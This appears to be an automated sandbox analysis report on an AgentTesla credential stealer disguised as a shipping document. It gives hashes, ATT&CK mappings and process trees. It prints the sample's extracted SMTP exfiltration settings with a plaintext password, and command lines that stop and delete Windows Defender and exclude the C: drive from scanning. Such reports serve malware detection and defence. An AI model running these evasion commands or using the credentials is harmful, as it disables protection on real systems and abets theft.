agenttesla | 4b0e5ba2dd00abd0126cccabaf2b107a218040f555cd0432858a25de12cbdb36

General

Target

Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
Size

604KB
MD5

b2553cbe8e480b5100244a55885d1410
SHA1

f167899347bb55d9b01755b4024ba04de94cc4f9
SHA256

4b0e5ba2dd00abd0126cccabaf2b107a218040f555cd0432858a25de12cbdb36
SHA512

266ad46ef21fde520307f7fe2b43bf6e750981d5a29d9987599e06556ece733a96b2fdd8a55d742e893f8724a1201673fe89fde8a9056871d1659bd09b9a8912

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.yandex.com
Port:
587
Username:
[email protected]
Password:
officepost8

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.yandex.com
Port:
587
Username:
[email protected]
Password:
officepost8

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2356-130-0x0000000000400000-0x0000000000466000-memory.dmp	family_agenttesla
behavioral2/memory/2356-131-0x00000000004617EE-mapping.dmp	family_agenttesla

Nirsoft 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe	Nirsoft

Executes dropped EXE 4 IoCs

Processes:

AdvancedRun.exeAdvancedRun.exeAdvancedRun.exeAdvancedRun.exe

pid process

1476 AdvancedRun.exe
1496 AdvancedRun.exe
3312 AdvancedRun.exe
3832 AdvancedRun.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\WNRUXJ = "C:\\Users\\Admin\\AppData\\Roaming\\WNRUXJ\\WNRUXJ.exe"	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

description	pid	process	target process
PID 3492 set thread context of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

AdvancedRun.exeAdvancedRun.exeAdvancedRun.exeAdvancedRun.exeDischarge - 10,500MT of ZN CONCS - Bukpyung.exepowershell.exeDischarge - 10,500MT of ZN CONCS - Bukpyung.exe

pid	process
1476	AdvancedRun.exe
1476	AdvancedRun.exe
1476	AdvancedRun.exe
1476	AdvancedRun.exe
1496	AdvancedRun.exe
1496	AdvancedRun.exe
1496	AdvancedRun.exe
1496	AdvancedRun.exe
3312	AdvancedRun.exe
3312	AdvancedRun.exe
3312	AdvancedRun.exe
3312	AdvancedRun.exe
3832	AdvancedRun.exe
3832	AdvancedRun.exe
3832	AdvancedRun.exe
3832	AdvancedRun.exe
3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
2356	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
2356	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exeAdvancedRun.exeAdvancedRun.exeAdvancedRun.exeAdvancedRun.exepowershell.exeDischarge - 10,500MT of ZN CONCS - Bukpyung.exe

description	pid	process
Token: SeDebugPrivilege	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
Token: SeDebugPrivilege	1476	AdvancedRun.exe
Token: SeImpersonatePrivilege	1476	AdvancedRun.exe
Token: SeDebugPrivilege	1496	AdvancedRun.exe
Token: SeImpersonatePrivilege	1496	AdvancedRun.exe
Token: SeDebugPrivilege	3312	AdvancedRun.exe
Token: SeImpersonatePrivilege	3312	AdvancedRun.exe
Token: SeDebugPrivilege	3832	AdvancedRun.exe
Token: SeImpersonatePrivilege	3832	AdvancedRun.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	2356	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

pid process

2356 Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

pid	process
2356	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

Discharge - 10,500MT of ZN CONCS - Bukpyung.exeAdvancedRun.exeAdvancedRun.exeWScript.exe

description	pid	process	target process
PID 3492 wrote to memory of 1476	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 3492 wrote to memory of 1476	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 3492 wrote to memory of 1476	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 1476 wrote to memory of 1496	1476	AdvancedRun.exe	AdvancedRun.exe
PID 1476 wrote to memory of 1496	1476	AdvancedRun.exe	AdvancedRun.exe
PID 1476 wrote to memory of 1496	1476	AdvancedRun.exe	AdvancedRun.exe
PID 3492 wrote to memory of 3312	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 3492 wrote to memory of 3312	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 3492 wrote to memory of 3312	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	AdvancedRun.exe
PID 3312 wrote to memory of 3832	3312	AdvancedRun.exe	AdvancedRun.exe
PID 3312 wrote to memory of 3832	3312	AdvancedRun.exe	AdvancedRun.exe
PID 3312 wrote to memory of 3832	3312	AdvancedRun.exe	AdvancedRun.exe
PID 3492 wrote to memory of 1748	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	WScript.exe
PID 3492 wrote to memory of 1748	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	WScript.exe
PID 3492 wrote to memory of 1748	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	WScript.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 3492 wrote to memory of 2356	3492	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe	Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
PID 1748 wrote to memory of 948	1748	WScript.exe	powershell.exe
PID 1748 wrote to memory of 948	1748	WScript.exe	powershell.exe
PID 1748 wrote to memory of 948	1748	WScript.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
"C:\Users\Admin\AppData\Local\Temp\Discharge - 10,500MT of ZN CONCS - Bukpyung.exe"
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3492

C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1476

C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 1476
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496

C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312

C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 3312
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zIwpbfadr.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Users\Admin\AppData\Local\Temp\Discharge - 10,500MT of ZN CONCS - Bukpyung.exe
"C:\Users\Admin\AppData\Local\Temp\Discharge - 10,500MT of ZN CONCS - Bukpyung.exe"
2⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Discharge - 10,500MT of ZN CONCS - Bukpyung.exe.log
MD5
808e884c00533a9eb0e13e64960d9c3a

SHA1
279d05181fc6179a12df1a669ff5d8b64c1380ae

SHA256
2f6a0aab99b1c228a6642f44f8992646ce84c5a2b3b9941b6cf1f2badf67bdd6

SHA512
9489bdb2ffdfeef3c52edcfe9b34c6688eba53eb86075e0564df1cd474723c86b5b5aedc12df1ff5fc12cf97bd1e3cf9701ff61dc4ce90155d70e9ccfd0fc299

Download Submit
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
MD5
17fc12902f4769af3a9271eb4e2dacce

SHA1
9a4a1581cc3971579574f837e110f3bd6d529dab

SHA256
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

SHA512
036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
MD5
17fc12902f4769af3a9271eb4e2dacce

SHA1
9a4a1581cc3971579574f837e110f3bd6d529dab

SHA256
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

SHA512
036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
MD5
17fc12902f4769af3a9271eb4e2dacce

SHA1
9a4a1581cc3971579574f837e110f3bd6d529dab

SHA256
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

SHA512
036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
MD5
17fc12902f4769af3a9271eb4e2dacce

SHA1
9a4a1581cc3971579574f837e110f3bd6d529dab

SHA256
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

SHA512
036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
MD5
17fc12902f4769af3a9271eb4e2dacce

SHA1
9a4a1581cc3971579574f837e110f3bd6d529dab

SHA256
29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

SHA512
036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\zIwpbfadr.vbs
MD5
570e1760047887d4773c02a7f0c0a9ef

SHA1
ea36b58136c15c0c38ca496e5fd55e9de62073dc

SHA256
c14774447472f5eec655d2046e6e4930b3bed4877de328d4f8a58416b7144db2

SHA512
aeb14674534d2a4cc6d58fe733a4a6085d031f1a45ddad9e3e8fa312879b6cd8a1dff962529639b8ebea98d1ca8a9d42c0893d267696a70c7e9db696980b9ef3

Download Submit
memory/948-140-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/948-142-0x0000000007390000-0x0000000007391000-memory.dmp

Filesize
4KB

Download
memory/948-171-0x0000000008D00000-0x0000000008D01000-memory.dmp

Filesize
4KB

Download
memory/948-146-0x00000000065F2000-0x00000000065F3000-memory.dmp

Filesize
4KB

Download
memory/948-166-0x0000000008BA0000-0x0000000008BA1000-memory.dmp

Filesize
4KB

Download
memory/948-172-0x000000007E040000-0x000000007E041000-memory.dmp

Filesize
4KB

Download
memory/948-145-0x00000000065F0000-0x00000000065F1000-memory.dmp

Filesize
4KB

Download
memory/948-173-0x0000000008F20000-0x0000000008F21000-memory.dmp

Filesize
4KB

Download
memory/948-159-0x0000000008BC0000-0x0000000008BF3000-memory.dmp

Filesize
204KB

Download
memory/948-151-0x0000000007C40000-0x0000000007C41000-memory.dmp

Filesize
4KB

Download
memory/948-197-0x00000000065F3000-0x00000000065F4000-memory.dmp

Filesize
4KB

Download
memory/948-150-0x0000000007D80000-0x0000000007D81000-memory.dmp

Filesize
4KB

Download
memory/948-136-0x0000000000000000-mapping.dmp

Download
memory/948-149-0x0000000007910000-0x0000000007911000-memory.dmp

Filesize
4KB

Download
memory/948-147-0x0000000007430000-0x0000000007431000-memory.dmp

Filesize
4KB

Download
memory/948-141-0x0000000006C30000-0x0000000006C31000-memory.dmp

Filesize
4KB

Download
memory/948-148-0x00000000074A0000-0x00000000074A1000-memory.dmp

Filesize
4KB

Download
memory/948-143-0x00000000073C0000-0x00000000073C1000-memory.dmp

Filesize
4KB

Download
memory/1476-119-0x0000000000000000-mapping.dmp

Download
memory/1496-122-0x0000000000000000-mapping.dmp

Download
memory/1748-128-0x0000000000000000-mapping.dmp

Download
memory/2356-135-0x0000000005F80000-0x0000000005F81000-memory.dmp

Filesize
4KB

Download
memory/2356-144-0x00000000057F0000-0x00000000057F1000-memory.dmp

Filesize
4KB

Download
memory/2356-139-0x0000000005930000-0x0000000005931000-memory.dmp

Filesize
4KB

Download
memory/2356-131-0x00000000004617EE-mapping.dmp

Download
memory/2356-130-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/3312-124-0x0000000000000000-mapping.dmp

Download
memory/3492-114-0x0000000000420000-0x0000000000421000-memory.dmp

Filesize
4KB

Download
memory/3492-118-0x00000000057E0000-0x0000000005817000-memory.dmp

Filesize
220KB

Download
memory/3492-117-0x00000000026B0000-0x00000000026B2000-memory.dmp

Filesize
8KB

Download
memory/3492-116-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

Filesize
4KB

Download
memory/3832-126-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads